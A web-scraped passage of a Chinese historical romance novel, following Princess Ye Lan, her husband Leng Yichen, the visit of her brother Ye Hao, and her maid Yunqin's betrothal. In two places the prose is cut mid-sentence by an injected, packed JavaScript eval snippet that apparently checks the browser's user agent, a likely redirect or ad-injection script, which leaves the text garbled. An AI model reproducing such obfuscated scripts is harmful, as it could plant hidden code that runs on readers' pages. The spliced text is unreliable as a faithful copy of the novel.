叶岚默然,想起之前冷逸尘在信中写过“闲下来时已是半夜……”,“愿我如星君如月,夜夜流光相皎洁”,原来他早就与她说过他的生活,表明他的心意。 只是她从未放在心上,她对他真的是不体谅、不关心。原来他一直在走近她,而她一直在拒绝。 但是今日之言行,的确可恨。叶岚没说什么,点点头坐下来吃饭。 兵营之中,韩平与冷逸尘同桌而食。韩平见冷逸尘的眉头半日也未舒展,便说:“昨日连夜而归,瞧你这一身疲惫,下午回府休息吧。” “无妨。” “别硬撑着了,先将王妃送回去,好好哄哄,否则你在这军营中也不安心。” “她私自来大营中,我都没怪她。反倒是她不悦了,我也想不明白她为何不悦。” “殿下呀!你是真不明白还是装糊涂?你错就错在今日不该如此对王妃。王妃毕竟是公主,千娇万宠、金尊玉贵,能和你来这里受苦就已经很让人敬佩了。人家为嫁你千里而来,如今你一点情面不给,当众驳了她的面子,让她情何以堪。再说,公主未必进过军营,何曾知道军中规矩。” 一语惊醒梦中人,冷逸尘方知叶岚怒从何起:“是我疏忽了。” “不是殿下疏忽,是殿下心急了。今日之事,我知你是为树威信,可立威数信不是一朝一夕之事。所谓将者,智、信、仁、勇、严也。若要真正让人信服,需自身五德俱备。兵书殿下也读过,这些道理,不用末将多言。” 的确,人心哪是这么容易就聚拢的?冷逸尘也觉得自己是有着急了,抱拳道:“韩兄,受教了。” 韩平摇手道:“不敢、不敢。”他放下筷子,端起水杯喝了一口,继续说道:“再说床头吵架床尾和,夫妻哪有隔夜仇。王妃估计还气着,你早该去劝解了。别吃了,快去快去。” 冷逸尘走后,韩平笑着摇摇头。有军士来收碗筷,见冷逸尘碗里饭几乎未动,便问:“韩将军,殿下未曾用午饭?” 韩平笑道:“回去哄老婆了。咱们三殿下样样皆好,只是对待女子这方面不开窍,若不是联姻和亲,我还真怕他娶不上媳妇儿。” 说完二人都笑了。 16. 山水期相逢 叶岚用过午饭,有些困倦,便倚着床榻的边栏小憩。 似睡非睡间忽觉耳边有东西在动,她睁开眼睛,只看见冷逸尘站在面前,手迅速收回。 叶岚正身端坐,说道:“我该走了。” 冷逸尘坐到她身侧,将杏干放于她手中,说道:“怎么没吃?这大中午的,出去便要中暑的。再休息会,等凉快下来,咱们去河边走走。” 叶岚扭头向边上靠了靠,不想理他。 “不说话,我就当你是答应了。今日的事……抱歉,我不该拿你作筏子,立威信。” “这是你的军营,你想怎样便怎样。原是我不该来。” “你能来看我,我很高兴。你在此安歇,我出去了。”冷逸尘奔波了三日,现在是疲惫极了。 “你的营帐,你在此吧。”叶岚说罢起身,将床让给了他。 冷逸尘拉住她,知她余怒未消。于是又道歉:“当众驳了你的面子,是我不对,再次向你道歉。这几日我真的是太累了,先让我休息一会,好不好?这床够大,一人一半。”说罢自顾躺至床榻里面,看着叶岚示意她躺下。 叶岚听他两次道歉,又看他着实是疲惫,心中也不忍看他这般样子,剩下的三分怒气皆消散了。 回想这几日的事,自出了祁京,冷逸尘一日未得安歇,她却什么也帮不上忙,现在还给他添了这些麻烦。想到此处,她心中又忽觉懊悔起来。 叶岚也躺下,冷逸尘这才安心的闭上了眼睛,很快就睡着了。 叶岚细细看着冷逸尘的侧脸,发如鸦羽、鼻梁高挺、嘴唇微薄。看着真好,她忍不住伸出手指轻触了他的鼻梁。 冷逸尘动了一下,她赶紧缩回手。目光落在他的睫毛上,不禁又想起那个严厉的眼神。她转过身去不再看他。 在矛盾的思绪中叶岚也睡着了。或是冷逸尘就在身边的缘故,她这一觉睡的很安稳。待她转醒时,冷逸尘已经在写公文了。 “你醒了,我们一会出发。”冷逸尘说罢走到门口吩咐了几句。 不多时,便有军士端来了洗漱用的水。叶岚净了面,整理了发鬓。收拾好后,二人出了军营。 外面太阳还有丈余高,虽已褪去了午时的毒辣,可空气还是热的。 大营向南不出二里是代河。代河河面极宽,多日未下雨,水位下降,露出不少沙石浅滩。浅水处有白鹭在泥沙里寻找着河蚌,深水处则有野鸭带着一串小鸭子捕鱼。 泽生叼着草,靠着一棵倾倒的树干,远远的看着他们二人。他一袭黑衣,怀抱利剑,配着遮阳的笠帽,颇具江湖侠气。 叶岚与冷逸尘谁也不说话,就这样一前一后的走着,中间永远差着半步距离。 太阳渐落,风中开始夹带清凉。风将云吹成一缕一缕的,带着柔和的橘色,飘向远方,不知它要飘到哪里。 这个时节,太阳还未落,月已至中天。 叶岚停下来,抬头看日看月看云。冷逸尘亦停下脚步,随着她的目光远眺。 叶岚突然开口:“凌长风?” 冷逸尘听了一愣,已经很久没有人如此称呼他了。 “你寝殿的题字也是‘长风’。长风,可是现在空中这般的景致?” 冷逸尘解释:“原本是看到‘长风至而波起兮,若丽山之孤亩’这句而起的名字。觉得大风扬波、甚是壮阔。” “哦……如今从这云上看见风的形状,倒觉得‘长风’二字颇为贴切。这两个字……真好。” “我那把剑,也叫长风。” “我的剑忘在王府了。”叶岚有些失落。 “这个好办,再给你打一把便是。” “多谢。” 冷逸尘向前一步:“客气什么?” 叶岚一笑继续向前走。 一位军士骑马而来,回禀:“殿下,京中来信,韩将军让卑职给您送来。” 冷逸尘一听不由皱眉头:若无重大军情,何必这样急。他接过信,看了一眼,眉头便舒展开来,继而将信递给了叶岚。 叶岚恐是军机,未接。冷逸尘将信递到她手里:“无妨,是好消息。” 叶岚接过一看,瞬时难掩激动之情:梁国信王叶皓访祁,五后到榆关。 叶岚看了两遍方将信交还。哥哥要来了!这是真的吗?她简直不敢相信,激动的问道:“这是真的吗?我是不是在做梦。” “怎会有假,上面有文书印章。”冷逸尘看着叶岚高兴的样子感到欣慰,这半年来她从未这样开心过。 随后二人立即回了都府。 晚间,叶岚兴奋的睡不着觉,在庭中信步。冷逸尘拿了杏干来陪她一起。 “谢谢你。”叶岚吃了一颗。 冷逸尘抬手摇了摇手中的杏干,问道:“是谢这个吗?” 叶岚一笑:“这个也要谢。还要谢谢你帮我给姐姐寄信,谢谢你平日的照顾。” 冷逸尘笑道:“那你要怎样谢我?光是嘴上说说可不行。” 叶岚一时语塞,她没有什么拿的出手的。她在这里身无长物,所有一切皆拜冷逸尘所赐。 她想了想说道:“我给你做糕点吧,我只会这些。” “就这?罢了。”冷逸尘哪里需要什么东西来谢,他只想要叶岚的一颗真心而已。 见他嫌弃,叶岚有些愧疚。 冷逸尘也看出了她的不自在,心中后悔,怕玩笑又开过头了。于是清了清嗓子,继续说道:“给我绣个香囊吧。天气热了,做糕点太辛苦。” 叶岚听完,方觉心里舒坦了一些,痛快的答应了。 冷逸尘说着他的安排:“明日收拾间客房出了,等师兄来了,就让他住在这府里,你们兄妹可以多相处几日。再去采买几坛好酒,师兄喜欢吃鱼……” 叶岚只顾着高兴了,未想还要安排这些事情。她到祁国后就一直像个过客,事事不上心。冷逸尘军中已是忙碌,还要想着府里的事。 如今有客来,饮食起居竟还要冷逸尘来安排。他从未抱怨过她的不管不问,她在祁国想做什么就做什么,他给了她足够的自由。 说来,还是她太过自私了,只想着自己。想到此处,她愧疚不已,心情又有些低落,轻轻说了声:“对不起。” 冷逸尘见她忽而伤心,又不知那句话说错了,小心翼翼的问到:“好端端的说这些做什么?有什么对不起的?” “这些都应该是我来安排的,我竟然什么也不想。” “你这一会道谢、一会致谦的,可是欢喜过头了?” 不知怎的,叶岚眼睛有些湿润:“我也不知这是怎么了,大约真的是欢喜过头了。” “这是喜事,高兴些,别让师兄以为我待你不好,否则有我好果子吃。” 叶岚被这话逗笑了,一扫心头的阴郁,说道:“你这回知道怕了?” 冷逸尘见她笑了,方才放心下来。笑道:“怕,一直都怕……走,我带你去个好地方。” 都府正殿屋顶上。叶岚紧紧抓着主梁不敢动弹,刚才的喜悦、感伤全都变成了惊吓。 叶岚恨恨的想:这算什么好地方。如当年她被叶皓丢在屋顶一般。 “大胆一点,站起来,睁开眼睛……”冷逸尘扶起叶岚,拉着她的手沿着主梁慢慢行走。 叶岚看看房顶和地面,吓的又闭上了眼睛。这样的高度,让她眩晕。 “抬头,向前看。”冷逸尘倒行依旧稳稳当当。 叶岚深吸一口气,慢慢将眼睛睁开一条缝,跟着冷逸尘一点点向前挪,冷逸尘的手渐渐松开:“别怕,慢慢走。” 叶岚却死死的抓住他的手:“不行、不行、别松手……” 冷逸尘看着她的样子忍俊不禁,拉着她来回走了两趟,叶岚依旧不敢松手。见她实在害怕,便拉着她坐了下来。 弦月如钩,西天太白星正明亮。冷逸尘指给叶岚看。 叶岚稳定了心神,良久,缓缓说道:“这里没有遮拦,倒是看星星好地方。我小时后和母亲住在一个很小的院子里。母亲不受宠,我也不受重视。我性格孤僻,同龄的姐妹都不喜欢我,我也没有其他朋友,总是一个人。刚来这里时,我还羡慕过你,有双亲、有姐姐,还能出去游历山河。而我的小时候,最常做的事就是看星星,太白星是最早出现在夜空的,也是最亮的。我那时想,它会不会一直在那里?会不会有一天就不见了?于是我就一直看着、看着……连何时睡着的都不知道。第二天晚上再接着看,真怕有一天它不见了。现在想来真是天真。” 叶岚缓了缓继续说道:“我母亲去世后,我就搬到了姐姐家住。三哥哥给我安排了好多课业,我每天对着书卷发愁,也就无暇看星星了。我在她家住了三年,三年中,姐姐还教我管理府务,四哥哥教我剑术、带我去诗会雅集。可惜我糊里糊涂,样样也没学明白。” “来了这里,又开始看星星了,是吗?”冷逸尘明白了,她之所以看星看云,除了喜欢,更多的是因为孤单。 “你怎么知道?” “你在信里写过。” 叶岚都忘记她写过的信,冷逸尘却记得清清楚楚。这些信,他在孤寂的夜里翻看了一遍又一遍。或许正是因为有了信,他才觉得巡边的夜是孤寂的。 他很想告诉叶岚,以后有他陪着她,不会再让她一个人看星星。可这些话终究还是没有说出口。 “我哥哥喜欢在屋顶喝酒……这么高,他也不害怕。” “在长右山时,我们白日在悬崖边练剑。晚上师兄去师傅的酒窖里偷酒,带着我到屋顶上喝。我酒量浅,他立志要将我的酒量练出来。有一次,给我喝了两碗,我昏睡了一天一夜,把他吓坏了。师傅气极了,罚我们打扫整个师门……” 听到此处,叶岚恍然大悟:原来在安阳驿的屋顶上,叶皓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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冷逸尘想通了这些,便知道以后要如何去做。他微微一笑,说道:“我什么都明白了……天凉了,我们回去吧。” 叶岚听的一头雾水,长右山的人怎么说话都这么莫名其妙的! 她探头看看下面,又是一阵眩晕,担忧说道:“没有梯子,怎么下去?” 未及叶岚反应过来,冷逸尘便揽着她飞身而下。叶岚吓得差点没叫出声来,腿脚发软,不能站立。冷逸尘将她抱起,送回卧房。 叶岚到了冷逸尘怀中便安心了下来。冷逸尘走的很慢,走的很稳。 云琴看到他二人回来,心立刻悬了起来:难道又受伤了?知道叶岚只是被吓到后,才长舒一口气,出去给她熬些安神的汤药。 安顿好叶岚,冷逸尘要走。叶岚忽然有一个念头:留下来,陪我一会儿。 于是伸手想拉他的衣袖,可手刚刚抬起,理智便又令她停下。她眼睁睁的看着他出去后,只觉心中空了一大块。 云琴端来安神药,她一饮而尽,只为快点入睡,不再去想他。 五日,是多么的漫长。叶岚每天掰着手指度日,沉不下心来。一切都交于冷逸尘处理,安排客房,吩咐采买、准备宴席。 第四日下午,叶皓一行的先遣使来报:梁国信王明日上午便能入城。叶岚又是兴奋难眠,拉着云琴看了半宿的月亮,全然没有发现云琴的忧心。 次日,岚早早起来梳洗装扮。冷逸尘却不急着出门,而是又去看了客房和厨房,安排一番。 叶岚催他出发,虽然他知道叶皓要临近中午才会到,但不愿扫了叶岚的兴致,于是早早出发了。 在城门外枯等了一个时辰,才远远望见一列车马驶来。叶岚和冷逸尘下车等待。 车马停驻,叶皓下车。 叶岚看了一眼冷逸尘,冷逸尘点头后,她便一路小跑来到叶皓跟前。双手挽住叶皓的胳膊。一声“四哥”,湿润了她和叶皓眼角。 叶皓拍拍她的头发,如小时候一般。 秦羽上前一步,见礼道:“公主万安。” 叶岚看着秦羽的清爽,夸赞道:“秦羽,精神多了。” 秦羽的郁证已医好。他再次行礼:“谢公主关心!”虽对着叶岚说话,但余光却看向云琴。 云琴却只低头看脚尖。 叶皓身后一男子上前见礼:“卑职文辉,拜见公主,公主万安。” “文辉?你是文瑶的哥哥,我们见过。” 文辉再行一礼:“公主好记性,还记得下官。” 此时,冷逸尘也到了跟前,说道:“信王,恭候多时。请随本王入城。” 叶皓也做了一个请的动作,客气道:“崇宁王殿下,请。” 叶岚看着他二人假装客气,心里觉得好笑。 众人回到各自的马车上,进入了榆关城。文辉等一众随从自去驿馆安置,叶皓和秦羽则直接去了都府。 17. 举杯共今宵 自打进了都府,叶岚便一直跟在叶皓左右。 冷逸尘忙完,来找他们二人。 叶皓对叶岚说道:“你在这里挺好的呀!什么心也不用操,闲适的很嘛。你可真是神通,一封信只写了四个字,便让大家为你担忧。你可知我此番前来费了多大周折。难道你那墨是金子做的,这样吝啬?” 原来,叶岚给夏萱的信一路曲折,终于到了夏萱手里,夏萱见只有“一切平安”四个字,以为是不便写什么。 但她转念一想又觉得不对,即使再不便写什么,几句问候的话还是要有的。后又看到梅花小品。 梅花,一番寒彻骨,香自苦寒来。莫不是她有什么难言之隐?莫不是她有什么危险?关心则乱,夏萱越想越觉得不安。 彼时,叶均公干在外,她连夜写了信过去。信未达,叶皓归京,她又急忙去找了叶皓。 后叶均与叶皓一番筹谋,才有了今日叶皓访祁。好巧不巧,叶岚却未在祁都。 叶皓访完祁都后,只得改了归程,绕路榆关,再经洛河卢峰渡归国。 于是,叶皓重新向祁国说明情况、报备行程。祁国则发公文告知冷逸尘。 叶岚解释:“这是个误会……”她没想到其中会有如此周折。 “误会?你说的倒是轻巧。你这个误会可是赚了三嫂不少眼泪,让三哥在朝中一番谋划,害我千里奔波。” “不要怪她。她本是写了两封,不小心装错了信封。将本应给你们的信寄到了我那里。而后那封信我未再转寄。”眼见叶皓有些生气,冷逸尘将责任揽下。 叶岚接过话头:“是我没让他转寄。” 叶皓见他二人互相解释,生怕自己怪罪了他们彼此,又不由得欣慰,一番怒气只得作罢。 接风酒宴。冷逸尘、叶岚、叶皓、文辉四人同席。因有文辉在,冷逸尘与叶皓也不便多说什么。 一番敬酒后便也散了,文辉自回驿站不提。 冷逸尘不胜酒力,回房中安歇。叶岚与叶皓同在书房喝茶。 叶岚为叶皓倒了茶,问道:“家里一切都好吗?” “一切都好。自你出京算来,刚过了半年而已。” 叶岚感慨:“半年……感觉经历沧海桑田一般。" “京中一切还是老样子。三哥忙于政务,三嫂看着珂儿和瑾儿的学业,比三哥还严苛。只是父皇,这半年上身体不太好。朝雨前不久也成婚了,不是周家公子,是成严将军次子成硕,说是她自己看上的。这成硕生的倒是一表人才,只是不如周家公子稳重……” “五姐姐自己喜欢便好。” “我大部分时间都在外公干,京中的事也不太了解,这些事也都是听我母妃说的。”叶皓喝了口茶,继续说道:“你嫁过来之后,梁、祁两国边境上的冲突少了许多,小矛盾也都能和平化解。暖暖,此番你功不可没。有的地方还流传着你大义和亲的事迹,你可是咱大梁的功臣啊。” “一切都好便好。”叶岚释怀,忽觉过往一切悲喜、一切爱恨、一切怨怼,如今都可以坦然面对,笑着说出。 “你怎么样?他待你如何?”叶皓接着问。 “我很好。他待我……也很好。” “如此,我便放心了。只是苦了你了,跟他来这偏僻之地。” 叶岚佯装生气,嗔怒道:“再苦也没有你们瞒得我苦。本早就相识,偏偏就是不告诉我。你们是兄弟一条心,我反倒成了外人。” 叶皓尴尬的笑了一下,但一语中的的说道:“我不是有意瞒你,他却是有心瞒你。我还是那句话:不要从别人口中认识一个人,你要自己去感知。更何怳这人是你的夫君。” 叶岚十分不满:“你倒是将自己摘的干净。” 叶皓理亏,赶紧叉开话题:“不与你拌嘴。此番来,我还有一件事。”说着叶皓从怀中掏出一折聘书:“为秦羽求娶云琴。” 叶岚听了颇为惊讶,问道:“什么?可他们已然决绝。” “那是云琴的意思吧。秦羽可是对她一直念念不忘。你也见到秦羽了,他的病已痊愈了。云琴是他能走出心魔的信念。我曾承诺他只要他坚持下来,便为他求娶云琴,如今我来兑现承诺。三书六礼,该有的一样都不会少。这聘书是要云琴签字的。” 叶岚看了一眼聘书,说道:“原来哥哥来这里,也不是全然为我,我白白感动了好几日。这事我做不了主,还要问问云琴的意思。” 叶皓点头:“我自然是放心不下你。他们的事,我本想等南边公事处理完再来。但既然来了,就一并说了吧。” 此时冷逸尘敲门进来,对叶岚说道:“何时可将师兄借我一叙?” 叶皓也对叶岚说:“暖暖,你这就去吧。我兄弟二人叙叙旧。” “他来了你就赶我。哼!我走,不耽误你们。”叶岚也不告退,转身便走。 “暖暖”二字,让冷逸尘心头一震,随即有些失望:这也是她的名字,她从未说过。 他向她坦露一切,让她成为自己的软肋。可自己对她似乎还是一无所知,她从未向他真正敞开过心扉。 冷逸尘看着叶岚背影,忽然感觉十分陌生。如今的叶岚放松自在,才是原原本本的她,而不是以前他看到那样。 待叶岚出去后,叶皓拍了一下冷逸尘:“长风,看什么呢?出去走走?” 冷逸尘也有此意,便着人备马,二人向代河驰骋而去。 因前两日下了雨,水位上涨,将原来露出来的浅滩全部淹没。冷逸尘立于滩头,叶皓则捡石头打水漂。看着石头在水面飞驰,溅起一串水花。 冷逸尘不由想起叶岚,丢扔石头这爱好,兄妹二人倒是很像。 叶皓打了个漂亮的水漂,忙招呼冷逸尘看。冷逸尘则笑着说:“这么些年,师兄倒是一点没变。” “怎么变?变成什么样?” “久历沙场生死,看人看事总是会有改变的。” “长风呀!有些事情要看得开,不要这样伤感自苦。谨记初心便好,如今你的理想算是实现了,守护了一方平安。” “这刚刚是个开始,还有很多事要做。” “那便去做,不要有什么顾虑。”说罢拍了拍冷逸尘的左肩。 冷逸尘箭伤未愈,吃痛皱眉。 叶皓疑惑的收回手:“受伤了?” 冷逸尘点头:“先前遇刺,不小心中了箭。这两个月连日奔波,还未好利索。” “暖暖也真是的,也不好好劝劝你。” “她不知道,请师兄不要告诉她。免得她担心。” 叶皓面露惊讶,问道:“她怎会不知道?难道……”那几个字叶皓不知如何说出口。 冷逸尘的目光转向河面,坦白道:“是的,我们未有夫妻之实。” “这……为什么?你不喜欢她?”叶皓一时糊涂,难道叶岚刚才是在骗他? 冷逸尘难掩失落:“不,我心悦于她。只是,她心里……没有我。” “可我方才见你二人颇有默契,现下为何这样说?” “嫁于我,不是她的本意,她一直对此事心存芥蒂。我们是因那封寄错的信,成了尺素之交。后来她看破了我的长右剑招,我才将实情告知了她。也不知是信的原因、还是你的原因,她这才与我相熟。” 叶皓送亲之时就担心二人的相处问题,他只是没想到叶岚竟如此执拗,冷逸尘也如此守约。他后悔道:“若早告知她,也许不是这番情况。” “是我不想因你的原因而与她相熟,所以一直相瞒。挑明此事后,她只当我是可以说话的朋友。到现在依旧看不穿她的心思,我甚至不知道她还有‘暖暖’这个名字。刚才她那样子和神态,都让我觉得陌生。”冷逸尘心情越说越低落:“我不敢向她表明我的心迹,我知道她肯定会拒绝。” 叶皓叹了口气,说道:“我曾在我三哥家与她同住过一段时间。此婚事,她表面上是接受了,其实内心很抗拒。原以为她是想得开,原来是为了让我们不为她担心。未曾想她如此固执,心中的心结竟还未解开。” 叶皓顿了顿,继续说道:“长风啊,以前你就事事囿于心中,现在也是。喜欢就对她说出来。她不是顽石,定会感受到你一片真心的。” “找机会吧。”冷逸尘叹气,对叶岚,他近来愈发患得患失,心里着实没有把握。 “这又不是行军打仗,还看什么时机?我刚才给了暖暖了一份聘书,是秦羽求娶云琴的聘书。秦羽为了云琴,千里万里都要来。你们之间的这点事算什么困难。” “她心中没我。” “怎的你也这样执拗,认定了她心中无你。女子的心思哪里这样好猜,勇敢一点。好了,别想了,你我二人难得一聚。下次见面又不知何时,走,骑马去。”叶皓说完便拽着他向马匹走去。二人且骑且行,聊着这几年的人和事。 且说叶岚回到自己卧房,将聘书交给云琴,说明缘由。 云琴打开聘书,红笺金字,字字真心,句句真情。云琴低头,默不作声。 叶岚推了推她,问道:“你可愿意?” 云琴凄然:“来时路上,奴婢已向他表明,此生与他再无瓜葛。” “你真的放的下吗?” 云琴泪已流下:“是他先放手的……” “不过事出有因,秦羽他病了,他不想拖累你。” “这只是他的想法,他怎么知道我不会与他一起面对。我们……回不去了。” 叶岚看着云琴的痛苦,劝慰道:“你心中还有气,你还是放不下他。冷静些,好好想一想,不必为我考虑,只看你自己的意思。” 云琴犹豫再三,还是请叶岚退还聘书。 傍晚,叶皓与冷逸尘归来。 叶岚见到叶皓,对他摇了摇头,想把聘书送还。 叶皓说道:“你先收起来。见面三份情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我倒是见过他忧愁的样子,不吃不喝真让人担心。不过很快便过去了。” “那是他已想好如何去解决,且从不犹豫,立刻去做。” “不愧是师兄弟,互相这么了解。” “我们毕竟同吃同住了一年的光景。” 叶岚自饮了一杯,心想:你若是女子,真该嫁给我四哥,到时我该叫你嫂嫂了。想到此处,她不禁笑了出来。 冷逸尘不解的问:“你笑什么?” 叶岚搪塞:“酒好喝……” 花看半开,酒饮微醺。冷逸尘未喝几杯,便看着月影已朦胧。他迷离中看着叶岚的笑,十分心动。对叶岚说道:“此时真是良辰,有酒、有月、还有……还有你……" 此语未了,冷逸尘已满是醉意,眼见头要垂到桌上睡去。叶岚无奈摇头,心想:我就排在酒、月之后吗? 他还没有她喝的多,当真是酒量浅。趁着冷逸尘还能走动,叶岚命人将他送回卧房。 叶岚为他擦了脸和手。待她起身想走时,冷逸尘死死的拉住她的袖子不松开。叶岚只得坐在床边陪他。 “叶岚。”冷逸尘睁开眼睛,可眼神依旧迷离,他挣扎着想坐起来。 相处这些时日,冷逸尘从很少叫她的名字。这一声“叶岚”,于她而言,颇为严肃郑重。 叶岚按住他,问道:“什么事?你躺着说便好。” 冷逸尘不知如何开口,他曾想了很多表白的话。譬如:“我心悦于你,能否让我走进你心里?”、“我们不要做朋友了,做夫妻可好?”…… 可此时他却一句也说不出来,只道:“我酒量这样浅,你以后可还愿与我同饮?” 叶岚噗嗤一笑,还以为他要说什么。哄他道:“酒还是要饮的,这酒量不练怎么上来。” 冷逸尘满意的闭上了眼睛,得不到她的真心又怎样,只要一直在一起便好。冷逸尘醉中嗫喏道:“能不能别走,别走……” 叶岚拍着他的手说道:“好,放心,我不走。” 不多时,冷逸尘便睡了过去。叶岚走出寝殿,于庭中望着月色中天。刚才在榻边的那一刻钟,听到他叫自己的名字,还以为他要说什么重要的话,可听到他说还能不能一起饮酒后,反倒隐隐有些失望。 她在期待什么?她拍了拍自己的头,大约是酒气上头了。 她命侍从去找醒酒药,没有找到。这府里无人饮酒,也未备这些药品。她只得调了一碗蜜水,给冷逸尘送去。 冷逸尘此时不知梦见了什么,眉头紧锁,出了一头的汗,叶岚为他擦干。冷逸尘换个姿势,稍稍安稳一些。 夜已深,叶岚回去了。也不知云琴想的怎么样了。 18. 红笺书锦字 回到卧房,云琴仍在纠结难定。 叶岚劝解:“兜兜转转,他没有放下你,其实你心中也有他,不然也不会这样犹豫……怎么就不能放下过去,向前看呢……这次人家带足了诚意……” 叶岚心中牵挂着冷逸尘,便对她说到:“回去,回梁国去,这里终究是异国他乡。即使不签这聘书,也随他们回去吧。我此生不得归,不能再让你也囿于此。”叶岚想这或许是云琴离开的唯一机会。 说完,她又去看了冷逸尘,见他喝了蜜水,也睡的安稳,才放心下来。 叶岚忽然有些想念起泽生来,若是泽生在,她便不会如此担心了。 自收到叶皓要来的消息以后,泽生便被调去安排驿馆招待、护卫事宜,已经好几日没有回府了。 第二日,叶岚早早起来。昨夜她半宿未睡,对镜梳妆,只见眼下乌青,只得涂了厚厚的脂粉来遮盖。 她要先去看看冷逸尘,昨日醉了两次,此后再不能让他饮酒了。 路过中庭,只见叶皓穿着单衣在练剑。 “四哥,这么早。” 叶皓收了剑:“习惯了,你怎么也这么早?” “冷逸尘昨日宿醉,我去看看他。” 叶皓听了十分担心,质问她:“他喝了多少?昨日中午他已经醉过一次,怎么又给他喝酒。” “几杯而已,谁知他酒量这么浅。”叶岚委屈。 “午宴时你没看到吗?他喝了三杯就睡了一下午。” 叶岚一时语塞,那时她一心扑在叶皓身上,未留意过冷逸尘,甚至都不知道他一直在睡。 “这小子也是,死要面子。”叶皓摇了摇头,对二人都颇为不满,又叹气:“如今你只顾你的郎君,你可知你哥哥今早是饿醒的?” 叶岚这才想起昨晚叶皓未用晚饭,她也未想着去给他送些夜宵。便急忙说:“我这就去安排早饭。” 叶皓见她仍往冷逸尘的卧房方向望去,将剑收入剑鞘之中,说道:“不必去看他了,他已无事,方才与我比试了几招,现下去更衣了。” 叶岚一股莫名的邪火,怼道:“没事了你不早说!一大早冲我发什么脾气,他不能喝酒我又不知道,你赖我做什么!” 叶皓不相让:“你还好意思说,成婚这么久了,这点都不了解。” 冷逸尘更衣后,又着人安排早饭,来请叶皓同去,却看见二人在中庭拌嘴。他上前去说道:“师兄,早饭已备好。” 叶岚见冷逸尘只叫了叶皓,又是不悦,算是白照顾他半宿了。她对着二人冷哼一声,甩袖而去。 冷逸尘不知缘由,抬脚想去追她,却被叶皓来拉住:“一大早就气不顺,别理她,咱们走。” 可冷逸尘还是去找了叶岚。 叶皓无奈,只得随他去,又看他二人心中都惦记着彼此,便不再担心,他们之间只隔一道窗户纸罢了,待到时机成熟,自然水到渠成。 终于三人齐聚到了膳厅。 叶岚问道:“秦羽何时能来?” 叶皓回答:“估计一会就到了。” 冷逸尘提议:“我们今日去打猎如何?沿代河向北有山林,林中多有野鸡、野兔。” “也好。暖暖,去叫云琴,在外面说话总比这里方便些。” 饭后,冷逸尘自去安排车马、护卫。泽生与秦羽到了之后,一行人便出发了。 叶岚与云琴同车,冷逸尘与叶皓同车,泽生、秦羽并十名护卫皆骑马前行。半个时辰后,便到了地点,此地名曰桐叶山。 叶岚借口将云琴、秦羽留在河边,她则随其他人一起,骑马入山林去了。 “云琴……”秦羽抓住她的胳膊说道。 “秦公子请自重。”云琴抽出胳膊,不看他,可眼中却蓄满了泪水。 “之前的事是我对不起你。” “为什么,为什么要抛弃我?你都没有问过我,怎么就认定我不能与你共苦?”云琴泪水一滴滴掉下,多年前的委屈和不甘要在此刻得到一个答案。 “对不起,我不想伤害你,我当时前路未卜,不想让你同我受苦。我曾坠入万丈深渊,你就是我在深渊中的一束光。” “那只是你一厢情愿罢了。我什么都没有做。” “可你是我的信念,靠着这信念,你才看到了如今的我。” 云琴不语,秦羽上前抱住她,说道:“云琴,我心悦于你,从未变过。原谅我,让我们从新开始。” 一番表白触动了云琴心中的柔软,她伏在他怀中失声痛哭。当初,他未做一句解释,便弃她而去,她只是不甘。 后知道了他的郁证,便对他有恨又怜:恨他不相信她可以与他共度难关,怜他自己一个人硬抗。 在函关秦羽求复合,她恨意未消,断然拒绝。而这半年上,她午夜梦回,全是秦羽的影子。若此次她再错过,那真就此生无缘了。 云琴平复情绪,下定了决心,说道:“从前种种,皆为过往。此后道路,与君同行。” 听了这句话,秦羽豁然开朗,这几年以来,他终于抓住了这道光。 二人在河边说着话,或坐或站或漫步,仿佛要把这几年未说的话全都补齐。 叶岚一行人忙碌半日,什么也没猎到,眼看天气越来越热,叶岚便张罗回去。 “北方的兔子真是狡猾,都快赶上狐狸了。”叶皓悻悻的说道。 “是我拖了哥哥的后腿,若我不在,你们倒可以放心去追那兔子。” “我可没有关照你,倒是他,时时盯着你,生怕出点闪失。”说罢用头向冷逸尘方向扬了一下。 “他是怕我出事了,不好向你交代。”叶岚偷偷瞄了一眼冷逸尘。 叶皓则白了她一眼。 冷逸尘不言,只是看着他们微笑。 回到河边,叶皓远远望见秦羽与云琴并肩面河而立,十指紧扣。便笑着对叶岚说道:“看吧,我说什么来着,‘见面三份情’。亲家,咱这就回去把聘书签了。城中哪家酒楼好,今日我做东,以贺此事。” “吃饭可以,酒就免了,还有正事要办。” “是担心他吧。嫁人了就是不一样,事事先想着夫君。秦羽也要成亲了,我真真是成了孤家寡人喽。”叶皓感慨。 身后冷逸尘则在悄悄吩咐侍卫,去城中芙蓉楼安排席面,并未留意叶岚二人的谈话。 叶岚与叶皓看着河边的二人,犹豫不决,不知该不该打断他们。 此时泽生牵着一匹马过去,交给秦羽,并对他说了几句话。返回来对叶岚说道:“禀公主,可以回城了。” 泽生此番行径,让叶皓对他投去了赞许的目光,叶岚也在心中默默佩服他。 中午的宴席吃的匆匆忙忙。一行人回来后不久,秦羽与云琴也回来了。众人齐聚书房。 叶皓与叶岚面对面而坐,代表男、女方家长,冷逸尘坐在中间,当作见证人。秦羽与云琴则分别立于叶皓与叶岚的身侧。桌上摆着聘书和礼单。 叶岚看着聘礼单子,摇着团扇说道:“聘礼还不错,只是现下还是留个信物为好。” 叶皓不满:“此事已定,你倒是拿姿作态起来。” “那是自然,我得替云琴好好把把关。还有将来的彩礼,田产、铺面都要转到云琴名下。” “这还要看秦家族老的意思。” 叶岚不让步:“我们呢,也没什么别的要求。这点事都做不了主,那就等叶公子和秦公子回去与族中人商议好了再来。” 听闻此言,秦羽立即开口:“都依公主。”说完从怀中掏出一根金簪,双手奉上:“来路匆忙,不便携带其他,此金簪乃属下母亲留给未来儿媳的,请收下。” 叶皓叹了口气,恨秦羽沉不住气。 叶岚则满意的点点头,侧脸示意云琴接过。云琴上前双手接过。 